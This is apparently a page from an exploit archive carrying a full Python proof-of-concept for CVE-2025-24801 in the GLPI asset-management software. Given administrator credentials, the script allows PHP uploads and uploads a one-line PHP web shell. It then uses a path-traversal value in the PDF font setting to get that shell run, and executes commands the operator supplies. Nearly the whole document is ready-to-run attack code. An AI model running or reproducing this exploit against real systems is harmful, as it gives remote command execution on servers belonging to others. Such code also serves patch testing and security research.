4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-24801.py PY
import bs4
import requests
import re
import uuid
import sys
import argparse
from urllib.parse import urljoin, urlparse

BANNER = f"""
                    ╔════════════════════════╗
                    ║ Exploit CVE-2025-24801 ║
                    ║       By ribeirin      ║
                    ╚════════════════════════╝
"""

def create_computer(session, url):
    print('[CVE-2025-24801] Trying to create a computer to generate a report')
    computer_form_url = f'{url}/front/computer.form.php'
    get_info_url = f'{url}/front/computer.form.php?id=-1&withtemplate=2'

    req_get_info_computer = session.get(get_info_url)

    req_get_info_soup = bs4.BeautifulSoup(req_get_info_computer.text, 'html.parser')

    _glpi_csrf_token = req_get_info_soup.find('input', {'name': '_glpi_csrf_token'})['value']

    random = uuid.uuid4()

    data = {
        'entities_id': 0,
        '_glpi_csrf_token': _glpi_csrf_token,
        'name': f'PC_{random}',
        'states_id': 0,
        'locations_id': 0,
        'computertypes_id': 0,
        'users_id_tech': 0,
        'manufacturers_id': 0,
        'groups_id_tech': 0,
        'computermodels_id': 0,
        'contact_num': '',
        'serial': '',
        'contact': '',
        'otherserial': '',
        'users_id': 0,
        'networks_id': 0,
        'groups_id': 0,
        'uuid': '',
        'comment': '',
        'autoupdatesystems_id': 0,
        'add': 1,
        '_glpi_csrf_token': _glpi_csrf_token
    }

    req_post = session.post(
        computer_form_url,
        files={k: (None, v) for k, v in data.items()},  # Trick to send multipart/form-data
        allow_redirects=True
    )

    if 'Access Denied' not in req_post.text:
        print("[CVE-2025-24801] Computer created successfully!")
    else:
        print("[CVE-2025-24801] Failed to create computer.")

def set_pdf_font(session, url, glpi_temp_dir):
    print(f'[CVE-2025-24801] Trying to set PDF FONT with following value: ../../../../../../../../{glpi_temp_dir}/shell')
    config_url = f"{url}/front/config.form.php"
    req_config = session.get(config_url)

    config_soup = bs4.BeautifulSoup(req_config.text, 'html.parser')

    _glpi_csrf_token = config_soup.find('input', {'name': '_glpi_csrf_token'})['value']

    payload = f'../../../../../../../../{glpi_temp_dir}/shell'

    data = f'language=en_US&date_format=0&names_format=0&number_format=0&list_limit=15&backcreated=0&use_flat_dropdowntree=0&use_flat_dropdowntree_on_search_result=1&show_count_on_tabs=1&is_ids_visible=0&keep_devices_when_purging_item=0&notification_to_myself=1&display_count_on_home=5&pdffont={payload}&csv_delimiter=%3B&palette=auror&page_layout=vertical&richtext_layout=classic&highcontrast_css=0&default_central_tab=0&timeline_order=natural&followup_private=0&show_jobs_at_login=0&task_private=0&default_requesttypes_id=1&task_state=1&refresh_views=0&set_default_tech=1&set_default_requester=1&timeline_action_btn_layout=0&timeline_date_format=0&priority_1=%23fff2f2&priority_2=%23ffe0e0&priority_3=%23ffcece&priority_4=%23ffbfbf&priority_5=%23ffadad&priority_6=%23ff5555&duedateok_color=%2306ff00&duedatewarning_color=%23ffb800&duedatewarning_less=20&duedatewarning_unit=%25&duedatecritical_color=%23ff0000&duedatecritical_less=5&duedatecritical_unit=%25&default_dashboard_central=central&default_dashboard_assets=assets&default_dashboard_helpdesk=assistance&default_dashboard_mini_ticket=mini_tickets&update=Save&_glpi_csrf_token={_glpi_csrf_token}'

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    req_post = session.post(config_url, data=data, headers=headers)

    if 'Access Denied' not in req_post.text:
        print("[CVE-2025-24801] PDF font set successfully!")
    else:
        print("[CVE-2025-24801] Failed to set PDF font.")

def get_glpi_temp_dir(session, url):
    print("[CVE-2025-24801] Trying to get GLPI TEMP DIR")
    req = session.get(f'{url}/ajax/common.tabs.php?_glpi_tab=Config%245&formoptions=data-track-changes%3Dtrue&_target=%2Ffront%2Fconfig.form.php&_itemtype=Config&id=1')

    match = re.search(r'GLPI_TMP_DIR:\s*"([^"]+)"', req.text)

    if match:
        glpi_temp_dir = match.group(1)
        print(f"[CVE-2025-24801] Found GLPI TEMP DIR: {glpi_temp_dir}")
        return glpi_temp_dir
    else:
        print("[CVE-2025-24801] GLPI_TMP_DIR not found in the response.")
        return None

def upload_file(session, url, payload_php):
    print('[CVE-2025-24801] Trying to upload following shell php: <?php system($_GET["cmd"]); ?>')
    req_url = f'{url}/ajax/fileupload.php'
    req_document_url = f'{url}/front/document.form.php'

    req_document = session.get(req_document_url)

    req_document_soup = bs4.BeautifulSoup(req_document.text, 'html.parser')

    _glpi_csrf_token = req_document_soup.find('input', {'name': '_glpi_csrf_token'})['value']

    headers = {
        'X-Glpi-Csrf-Token': _glpi_csrf_token
    }

    files = {
        '_uploader_filename[]': ('shell.php', payload_php, 'application/x-php')
    }
    
    form_data = {
        'name': '_uploader_filename',
        'showfilesize': '1'
    }
    
    upload_response = session.post(
        req_url,
        headers=headers,
        files=files,
        data=form_data
    )

    if 'Access Denied' not in upload_response.text:
        print("[CVE-2025-24801] File uploaded successfully!")
    else:
        print("[CVE-2025-24801] Failed to upload file.")


def create_document_type(session, url):
    print('[CVE-2025-24801] Trying create a document type to allow php extension')
    req_url = f'{url}/front/documenttype.form.php'

    for id in range(1, 10000):
        req_get_last_doctype_id = session.get(f'{req_url}?id={id}')

        if 'Item Not Found' in req_get_last_doctype_id.text:
            doc_type_id = id
            break

    req_get_info = session.get(req_url)
    req_get_info_soup = bs4.BeautifulSoup(req_get_info.text, 'html.parser')

    _glpi_csrf_token = req_get_info_soup.find('input', {'name': '_glpi_csrf_token'})['value']

    data = {
        '_glpi_csrf_token': _glpi_csrf_token,
        'name': 'Windows Media - Exploit',
        'comment': '',
        'icon': 'ai-dist.png',
        'is_uploadable': 1,
        'ext': 'php',
        'mime': '',
        'add': 1,
        '_glpi_csrf_token': _glpi_csrf_token
    }

    req_post = session.post(
        req_url,
        files={k: (None, v) for k, v in data.items()},  # Trick to send multipart/form-data
        allow_redirects=True
    )

    verify_document = session.get(f'{url}/front/documenttype.form.php?id={doc_type_id}')

    if 'Item Not Found' not in verify_document.text:
        print(f"[CVE-2025-24801] Document type with ID {doc_type_id} created successfully!")
    else:
        print(f"[CVE-2025-24801] Failed to create document type with ID {doc_type_id}.")

def authenticate_glpi(url, username, password):
    print('[CVE-2025-24801] Trying authenticate')
    session = requests.Session()
    
    login_page_url = urljoin(url, '/front/login.php')
    login_response = session.get(login_page_url)
    
    soup = bs4.BeautifulSoup(login_response.text, 'html.parser')
    
    csrf_token = soup.find('meta', {'property': 'glpi:csrf_token'})['content']
    
    form_fields = {}
    for input_field in soup.find_all('input'):
        if input_field.get('name'):
            form_fields[input_field.get('name')] = input_field.get('value', '')
    
    login_name = None
    password_name = None
    remember_name = None
    
    for field in soup.find_all('input'):
        if field.get('id') == 'login_name':
            login_name = field.get('name')
        elif field.get('id') == 'login_password':
            password_name = field.get('name')
        elif field.get('id') == 'login_remember':
            remember_name = field.get('name')
    
    if not login_name:
        for name in form_fields.keys():
            if name.endswith('2'):
                login_name = name
            elif name.endswith('4'):
                password_name = name
            elif name.endswith('5'):
                remember_name = name
    
    auth_data = {
        'noAUTO': form_fields.get('noAUTO', '0'),
        'redirect': form_fields.get('redirect', ''),
        '_glpi_csrf_token': csrf_token,
        'auth': 'local',
        'submit': 'Login'
    }
    
    if login_name:
        auth_data[login_name] = username
    if password_name:
        auth_data[password_name] = password
    if remember_name:
        auth_data[remember_name] = 'on'
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    try:
        auth_response = session.post(
            login_page_url,
            headers=headers,
            data=auth_data,
            allow_redirects=False
        )

        cookie_session, cookie_remember = session.cookies.items()

        if 'glpi' in cookie_session[0] and '_rememberme' in cookie_remember[0]:
            print("[CVE-2025-24801] Authentication successful")
            return session
    except:
        print(f"[CVE-2025-24801] Authentication failed")
        exit()

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme, result.netloc])
    except:
        return False

def main():
    parser = argparse.ArgumentParser(description="Exploit CVE-2025-24801")
    parser.add_argument('--url', help="URL to exploit. Example: http://172.16.11.130:8080", required=True)
    parser.add_argument('--username', help="Username administrator account", required=True)
    parser.add_argument('--password', help="Password administrator account", required=True)
    parser.add_argument('--cmd', help="Execute a command. To run this command, it's necessary run the exploit without this flag to create the cenary and then run the exploit with this parameter", required=False)

    args = parser.parse_args()

    print(BANNER)

    if not (args.url or args.username or args.password):
        parser.print_help()
        return
    
    if args.url:
        if is_valid_url(args.url):
            pass
        else:
            print(f"[CVE-2025-24801][-] Invalid URL: {args.url}")

    url = args.url
    username = args.username
    password = args.password

    print(f"[CVE-2025-24801] Starting")

    session = authenticate_glpi(url, username, password)

    shell_url = f'{url}/front/report.dynamic.php?item_type=Computer&sort[0]=1&order[0]=ASC&start=0&criteria[0][field]=view&criteria[0][link]=contains&criteria[0][value]=&display_type=2&cmd='

    if not args.cmd:
        create_document_type(session, url)

        payload_php = '<?php system($_GET["cmd"]); ?>'

        upload_file(session, url, payload_php)

        glpi_temp_dir = get_glpi_temp_dir(session, url)

        set_pdf_font(session, url, glpi_temp_dir)

        create_computer(session, url)

        cmd = 'id'

        req = session.get(f'{shell_url}{cmd}')

        print(f'[CVE-2025-24801] {req.text}')
        sys.stdout.write('\033[F\033[K')

        print(f'[CVE-2025-24801] URL SHELL: {shell_url}')
    else:
        cmd = args.cmd
        req = session.get(f'{shell_url}{cmd}')

        print(f'[CVE-2025-24801] {req.text}')
        sys.stdout.write('\033[F\033[K')

    
if __name__ == "__main__":
    main()